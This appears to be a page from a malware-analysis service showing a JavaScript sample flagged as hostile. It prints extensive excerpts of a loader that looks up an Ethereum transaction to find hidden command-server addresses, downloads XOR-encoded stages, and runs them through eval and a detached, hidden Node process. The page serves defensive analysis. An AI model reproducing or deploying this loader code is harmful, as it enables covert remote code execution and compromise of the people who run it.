Hostile 99% javascript Download

variant-if-branch.js

Ethereum XOR stage passed to Node childEthereum stage hides detached Node child
SHA-256560ab51b02a8704a080dfe462c9dab6d0310133ba50d3b2e5ede8a2f11467339

Evidence

Destructures APIs from Node.js child_process line 1
1… URL}=require("url"),{spawn}=require("child_process"),B=1000n,S="0x1234567890123456789012345678901234567890".toLowerCase(),I="https://ledger.example.net/api",R=[...new Set([process.env.ETH_RPC_URL,"https://1rpc.io/eth","https://eth.drpc.org","https://ethereum-rpc.publicnode.com","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"https:":new https.Agent(O)};function ds(t){const n=(t.headers["content-encoding"]||"").toLowerCase(),f=n==="gzip"||n==="x-gzip"?zlib.createGunzip:n==="deflate"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="https:"?https:http,i={Accept:"application/json","Accept-Encoding":"gzip, deflate, br",Connection:"keep-alive"};e!=null&&(i["Content-Type"]="application/json",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="https:"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("data",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("utf8").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="<"||t[0]!=="{"&&t[0]!=="[")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("error",r);});t.on("error",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("abort",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"2.0",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"POST",body:JSON.stringify(n.map(([t,n],e)= …
Ethereum JSON-RPC block lookup line 1
1:2641… ,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["eth_getTransactionCount",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new A …
Ethereum JSON-RPC block-number lookup method line 1
1:3227… turn Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"eth_blockNumber",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt( …
JavaScript mutates bytes with XOR line 1
1:3910… t d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"eth_blockNumber",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const recipientBytes=Buffer.from(e.tx.to.replace(/^0x/i,""),"hex"),toIpv4=b=>b[0]+"."+b[1]+"."+b[2]+"."+b[3],[o,r]=[toIpv4(recipientBytes.subarray(0,4)),toIpv4(recipientBytes.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function loadBytes(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t<b.length;t++)b[t]^=k.charCodeAt(t%e);return b.toString("utf8");},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{const e=[];n.on("data",t=>e.push(t));n.on("end",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));r(new Error("empty"));}catch(t){r(t);}});n.on("error",r);});t.on("error",r);t.end();});return q("GET");}async function dispatch(t,n,e){try{const o=await loadBytes(n,t),r=`global['_V']='${g._V||0}';global['${e?"_H":"_t_s"}']='${e?g._H:g._t_s}';global['${e?"_H2":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;if(!e) eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"ignore",windowsHide:!0}).unref();}catch(t){}}await dispatch(new URL(`http://${o}:443/stage/alpha`),"changed-key-one",!1);await dispatch(new URL(`http://${o}:443/stage/beta`),"changed-key-two",!0);})();

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.